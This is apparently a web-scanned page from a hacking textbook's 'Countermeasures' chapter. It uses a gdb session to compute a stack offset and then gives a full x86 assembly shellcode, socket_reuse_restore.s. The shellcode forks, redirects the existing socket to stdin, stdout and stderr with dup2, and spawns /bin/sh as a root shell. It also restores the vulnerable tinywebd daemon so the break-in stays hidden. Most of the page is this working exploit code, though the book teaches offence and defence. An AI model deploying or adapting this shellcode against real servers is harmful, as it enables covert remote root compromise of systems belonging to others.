16.01.2015 Views

Hacking

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

of new_sockfd will still be correct since the offset from ESP will be the same.<br />

As you may remember from debugging with the mark_break shellcode, ESP<br />

was 0xbffff7e0. Using this value for ESP, the offset is shown to be 0x5c bytes.<br />

reader@hacking:~/booksrc $ gdb -q<br />

(gdb) print /x 0xbffff83c - 0xbffff7e0<br />

$1 = 0x5c<br />

(gdb)<br />

The following shellcode reuses the existing socket for the root shell.<br />

socket_reuse_restore.s<br />

BITS 32<br />

push BYTE 0x02 ; Fork is syscall #2<br />

pop eax<br />

int 0x80 ; After the fork, in child process eax == 0.<br />

test eax, eax<br />

jz child_process ; In child process spawns a shell.<br />

; In the parent process, restore tinywebd.<br />

lea ebp, [esp+0x68] ; Restore EBP.<br />

push 0x08048fb7 ; Return address.<br />

ret<br />

; Return.<br />

child_process:<br />

; Re-use existing socket.<br />

lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.<br />

mov ebx, [edx] ; Put the value of new_sockfd in ebx.<br />

push BYTE 0x02<br />

pop ecx ; ecx starts at 2.<br />

xor eax, eax<br />

xor edx, edx<br />

dup_loop:<br />

mov BYTE al, 0x3F ; dup2 syscall #63<br />

int 0x80 ; dup2(c, 0)<br />

dec ecx ; Count down to 0.<br />

jns dup_loop ; If the sign flag is not set, ecx is not negative.<br />

; execve(const char *filename, char *const argv [], char *const envp[])<br />

mov BYTE al, 11 ; execve syscall #11<br />

push edx<br />

; push some nulls for string termination.<br />

push 0x68732f2f ; push "//sh" to the stack.<br />

push 0x6e69622f ; push "/bin" to the stack.<br />

mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.<br />

push edx<br />

; push 32-bit null terminator to stack.<br />

mov edx, esp ; This is an empty array for envp.<br />

push ebx<br />

; push string addr to stack above null terminator.<br />

mov ecx, esp ; This is the argv array with string ptr.<br />

int 0x80<br />

; execve("/bin//sh", ["/bin//sh", NULL], [NULL])<br />

Countermeasures 357

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!